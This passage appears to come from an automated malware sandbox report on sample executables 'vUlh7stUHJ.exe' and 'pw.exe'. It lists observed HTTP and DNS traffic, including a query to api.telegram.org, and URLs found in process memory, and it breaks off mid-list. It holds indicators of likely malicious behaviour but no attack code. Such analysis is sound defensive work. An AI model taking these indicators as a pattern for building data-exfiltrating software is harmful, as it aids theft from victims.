Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net

Source: global traffic	DNS traffic detected: DNS query: settings-ssl.xboxlive.com
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /PlayReady/ACT/Activation.asmx HTTP/1.1Connection: Keep-AliveContent-Type: text/xml; charset=utf-8Accept: */*User-Agent: Microsoft-PlayReady-DRM/1.0x-playready-info: OSVersion=10.0; ClientDllVersion=Windows.Media.Protection.PlayReady.dll/10.0.19041.2006 (WinBuild.160101.0800); Session=3a41ed4ec4920c9a172a4c61123efcc5; StoreAppID=Microsoft.ZuneVideo_8wekyb3d8bbwe!Microsoft.ZuneVideo; X-XblCorrelationId: 5687312234648670147SOAPAction: "http://schemas.microsoft.com/PlayReady/ActivationService/v1/Activate"Content-Length: 3580Host: activation2.playready.microsoft.com

Source: pw.exe, 0000000E.00000003.1773323552.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1770027736.0000000001BE7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1772486296.0000000001BF0000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1773146814.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1773187397.00000000020A1000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1772816681.0000000001DB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://.../back.jpeg
Source: pw.exe, 0000000E.00000003.1712031431.0000000001BE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/
Source: pw.exe, 0000000E.00000003.1785453124.0000000002299000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue14396.
Source: pw.exe, 0000000E.00000003.1785453124.0000000002299000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue15756
Source: pw.exe, 0000000E.00000003.1724923193.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1723803786.0000000001D34000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1725199371.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue16298)
Source: pw.exe, 0000000E.00000003.1649597334.0000000000EEF000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1651107528.0000000000F05000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1649541580.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue19619
Source: pw.exe, 0000000E.00000003.1721968577.0000000001D24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue28539
Source: pw.exe, 0000000E.00000003.1652694422.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue5845#msg198636
Source: pw.exe, 0000000E.00000003.1689332595.0000000001BF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue874900
Source: vUlh7stUHJ.exe, 00000000.00000003.1446993792.000001F676774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.co
Source: vUlh7stUHJ.exe, 00000000.00000003.1416658749.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1410802583.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424569670.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1419252904.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1408354525.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: vUlh7stUHJ.exe, 00000000.00000003.1447226090.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1428927374.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1433907736.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1445672633.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424826286.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446698614.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1428725837.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1447147420.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424464390.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1433340676.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446224890.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1439115169.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1439782445.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1443226796.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446993792.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1432433326.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1435276583.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1440568081.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1430487556.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1431907945.000001F67677D000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1427362886.000001F676774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: vUlh7stUHJ.exe, 00000000.00000003.1416658749.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1410802583.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424569670.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1419252904.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1408354525.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: vUlh7stUHJ.exe, 00000000.00000003.1416658749.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1410802583.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1419252904.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1408354525.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: vUlh7stUHJ.exe, 00000000.00000003.1447226090.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1428927374.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1433907736.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1445672633.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424826286.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446698614.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1428725837.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1447147420.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424464390.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1433340676.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446224890.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1439115169.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 